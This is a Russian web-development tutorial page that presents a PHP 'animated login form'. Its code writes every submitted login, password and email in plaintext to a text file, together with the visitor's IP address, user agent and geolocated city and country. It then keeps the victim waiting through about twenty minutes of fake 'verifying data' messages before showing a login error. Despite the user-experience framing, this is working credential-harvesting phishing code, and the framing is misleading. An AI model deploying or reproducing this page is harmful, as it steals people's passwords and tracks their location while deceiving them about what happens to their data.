Создание сайтов - MD².Ru
+7 (999) 919-32-46

Создание динамичной формы входа с анимацией и обработкой данных на PHP

Создание динамичной формы входа с анимацией и обработкой данных на PHP

Создание динамичной формы входа с анимацией и обработкой данных на PHP

В современном веб-разработке важным аспектом является создание удобного и интерактивного пользовательского интерфейса. В этой статье мы рассмотрим, как создать динамичную форму входа на PHP, которая не только запрашивает данные от пользователя, но и включает элементы анимации для улучшения пользовательского опыта. Мы также добавим функционал для обработки данных и отображения сообщений об ошибках.

1. Цели и задачи

Наша цель — создать форму входа с следующими функциями:

  1. Сбор логина, пароля и электронной почты пользователя.
  2. Запись данных, включая HTTP_USER_AGENT, REMOTE_ADDR, город, страну и текущее время, в текстовый файл.
  3. Отображение анимации с несколькими сообщениями в процессе обработки данных.
  4. Отображение сообщения об ошибке, если введенные данные неверны.

2. Основная структура

Наше приложение состоит из одного PHP-файла (index.php), который включает HTML, CSS и JavaScript. Рассмотрим его по частям.

2.1. HTML и PHP

Файл index.php содержит форму для ввода данных пользователя. Основные блоки кода:

php
<?php // Отображение ошибок для отладки ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL); // Обработка формы при отправке $loginError = ''; if ($_SERVER["REQUEST_METHOD"] == "POST") { // Получаем данные из формы $login = $_POST['login']; $password = $_POST['password']; $email = isset($_POST['email']) ? $_POST['email'] : 'N/A'; // Добавлено поле электронной почты $userAgent = $_SERVER['HTTP_USER_AGENT']; $remoteAddr = $_SERVER['REMOTE_ADDR']; $currentTime = date('Y-m-d H:i:s'); // Получение информации по IP (используется ip-api.com) $apiUrl = "http://ip-api.com/json/$remoteAddr"; $city = 'Unknown'; $country = 'Unknown'; $response = file_get_contents($apiUrl); if ($response) { $data = json_decode($response, true); if ($data['status'] == 'success') { $city = $data['city']; $country = $data['country']; } } // Запись данных в текстовый файл $file = 'logins.txt'; $data = "Login: $login, Password: $password, Email: $email, User Agent: $userAgent, Remote Addr: $remoteAddr, City: $city, Country: $country, Time: $currentTime\n"; file_put_contents($file, $data, FILE_APPEND); // Имитация проверки логина и пароля (в этом примере предполагаем, что логин и пароль должны быть "admin" и "password") $correctLogin = 'admin'; $correctPassword = 'password'; if ($login !== $correctLogin || $password !== $correctPassword) { $loginError = 'Неверный логин или пароль'; } // Установка флага для показа сообщения $showMessage = true; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Форма входа</title> <style> /* Стили для формы и анимаций */ body { font-family: Arial, sans-serif; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; background-color: #f4f4f4; } .form-container { background-color: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); width: 300px; position: relative; } .form-container h1 { margin-top: 0; font-size: 24px; color: #333; } .form-container label { display: block; margin-bottom: 8px; font-weight: bold; } .form-container input { width: 100%; padding: 8px; margin-bottom: 16px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; } .form-container input.error { border-color: #dc3545; animation: shake 0.3s ease; } .form-container input.success { border-color: #28a745; } .form-container button { width: 100%; padding: 10px; background-color: #007bff; border: none; border-radius: 4px; color: #fff; font-size: 16px; cursor: pointer; transition: background-color 0.3s ease; } .form-container button:hover { background-color: #0056b3; } .form-container.hidden { display: none; } .message { position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); padding: 20px; background: rgba(0, 0, 0, 0.7); color: #fff; border-radius: 8px; font-size: 18px; text-align: center; display: flex; align-items: center; justify-content: center; flex-direction: column; } .message .spinner { border: 8px solid #f3f3f3; /* Светло-серый */ border-top: 8px solid #007bff; /* Синий */ border-radius: 50%; width: 50px; height: 50px; margin-bottom: 20px; animation: spin 1s linear infinite; } progress { width: 100%; height: 20px; margin: 20px 0; border-radius: 4px; appearance: none; } progress::-webkit-progress-bar { background: #f3f3f3; border-radius: 4px; } progress::-webkit-progress-value { background: #007bff; border-radius: 4px; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } @keyframes shake { 0% { transform: translateX(0); } 25% { transform: translateX(-5px); } 50% { transform: translateX(5px); } 75% { transform: translateX(-5px); } 100% { transform: translateX(0); } } @keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } } @keyframes fadeOut { from { opacity: 1; } to { opacity: 0; } } .error-message { position: fixed; top: 70%; left: 50%; transform: translate(-50%, -50%); padding: 20px; background: rgba(255, 0, 0, 0.7); color: #fff; border-radius: 8px; font-size: 18px; text-align: center; display: none; } </style> </head> <body> <div class="form-container<?php echo isset($showMessage) ? ' hidden' : ''; ?>"> <h1>Форма входа</h1> <form id="loginForm" action="index.php" method="POST"> <label for="login">Логин:</label> <input type="text" id="login" name="login" required> <label for="password">Пароль:</label> <input type="password" id="password" name="password" required> <label for="email">Электронная почта:</label> <input type="email" id="email" name="email" required> <button type="submit">Отправить</button> </form> </div> <?php if (isset($showMessage)): ?> <div id="message" class="message"> <div class="spinner"></div> <div id="messageText">Пожалуйста, подождите...</div> </div> <progress id="progress" max="100" value="0"></progress> <?php endif; ?> <?php if (!empty($loginError)): ?> <div id="errorMessage" class="error-message"><?php echo $loginError; ?></div> <?php endif; ?> <script> document.addEventListener('DOMContentLoaded', function() { if (document.querySelector('#message')) { const messages = [ 'Пожалуйста, подождите...', 'Проверка данных...', 'Проверка завершена...', 'Обработка информации...', 'Запись в базу данных...', 'Сохранение данных...', 'Анализ данных...', 'Финальная проверка...', 'Почти готово...', 'Завершение процесса...' ]; const durationPerMessage = 120000; // Длительность отображения одного сообщения в миллисекундах const progress = document.getElementById('progress'); let index = 0; function showNextMessage() { const messageText = document.getElementById('messageText'); const messageElement = document.getElementById('message'); const errorMessageElement = document.getElementById('errorMessage'); const currentMessage = messages[index]; const totalMessages = messages.length; const progressValue = ((index + 1) / totalMessages) * 100; messageText.textContent = currentMessage; progress.value = progressValue; messageElement.style.opacity = 1; progress.style.opacity = 1; setTimeout(() => { messageElement.style.opacity = 0; progress.style.opacity = 0; setTimeout(() => { if (index < messages.length - 1) { index++; messageElement.style.opacity = 1; progress.style.opacity = 1; showNextMessage(); } else { setTimeout(() => { if (document.querySelector('.form-container.hidden')) { errorMessageElement.style.display = 'block'; } }, 1000); // Задержка перед показом сообщения об ошибке } }, 500); // Задержка между сообщениями }, durationPerMessage); } showNextMessage(); } }); </script> </body> </html>

Объяснение

  1. HTML и PHP:

    • Формы для ввода данных: логин, пароль и электронная почта.
    • Обработка данных и запись в файл. Информация о пользователе и IP-адресе сохраняется, а также проверяется правильность введенных данных.
    • Если логин или пароль неверны, отображается сообщение об ошибке.
  2. CSS:

    • Стили для формы и элементов анимации.
    • Анимация для вращающегося индикатора загрузки и прогресс-бара.
  3. JavaScript:

    • Анимация сообщений: каждое сообщение отображается на 2 минуты, после чего появляется следующее.
    • Прогресс-бар показывает процесс анимации, и после завершения всех сообщений отображается сообщение об ошибке, если данные неверны.

Этот код создаёт интуитивно понятную и привлекательную форму входа с динамическими элементами, что улучшает пользовательский опыт. Вы можете адаптировать стили и анимации по своему усмотрению, чтобы соответствовать дизайну вашего сайта.

Отзывы (0)

Написать отзыв

Примечание: HTML разметка не поддерживается! Используйте обычный текст.
    Плохо           Хорошо

Теги: PHP, форма входа, анимация, обработка данных, HTML, CSS, JavaScript, пользовательский интерфейс, веб-разработка